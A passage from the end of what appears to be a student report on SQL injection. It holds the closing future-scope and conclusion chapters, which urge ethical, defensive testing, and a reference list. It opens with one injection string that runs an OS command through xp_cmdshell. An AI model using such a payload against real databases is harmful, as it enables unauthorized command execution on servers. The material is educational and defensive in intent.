    $badstring='blah' exec master..xp_cmdshell 'nslookup a.com 192.168.1.6' - ;SPI toolkit from SPI Dynamics contains a tool called SQL Injector that will automate SQLInjection testing. The SPI Toolkit is available at http://www.spidynamics.comCHAPTER 10FUTURE SCOPEThe study of SQL Injection will lead in prevention of database hacking. It is helpful to develop new techniques which in future will not have any backdoors forthe intruders toattack any particular web application. These techniques will lead to development

  • 8/12/2019 sql_injctions loop joks

    35/35

    to the tools which will investigate scope of SQL Injection worm attacks. OracleServers would not be trapped if these SQL Injection tools and backdoors are blocked. In future we will able to reduce the vulnerabilities to the web application.CHAPTER 11CONCLUSIONThis article is to make aware the people who are anyways related to databasemaintenance say DBA, Site owner, Computer science students involving in projectsrelated to database and to general people who are launching their sites on internet.Through this article one can know that what are the breaches that can be securedeithercode or protection security like firewalls.So, before launching your site or when checking your site try to check atleast the codeswhat are illustrated in this article and if you find any bugs please correct itas soon aspossible and if its not your website then please inform the owner through mail or phonethat that site has bugs( be ethical) else attacking on other sites using this technique isillegal. Do that at your own risk.CHAPTER 12REFERENCES

    10.1. BOOKS1.SQL Injection Defenses First Edition, by Martin Nystrom, release date March 2007.2.Web Hacking: Attacks and defenses By Stuart McClure, Saumil Shah, Shreeraj Shah,2008.10.2. WEB SITES

    1. SQL Injection http://www.spidynamics.com/papers/SQLInj...ePaper.pdf2. Threats and Countermeasures, MSDN, Microsoft http://msdn.microsoft.com3. Advanced SQL Injection http://www.nextgenss.com/papers/advanced...ection.pdf4. Detection techniques http://www.securiteam.com//papers/detection-techniques5. Defenses against SQL Injection http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc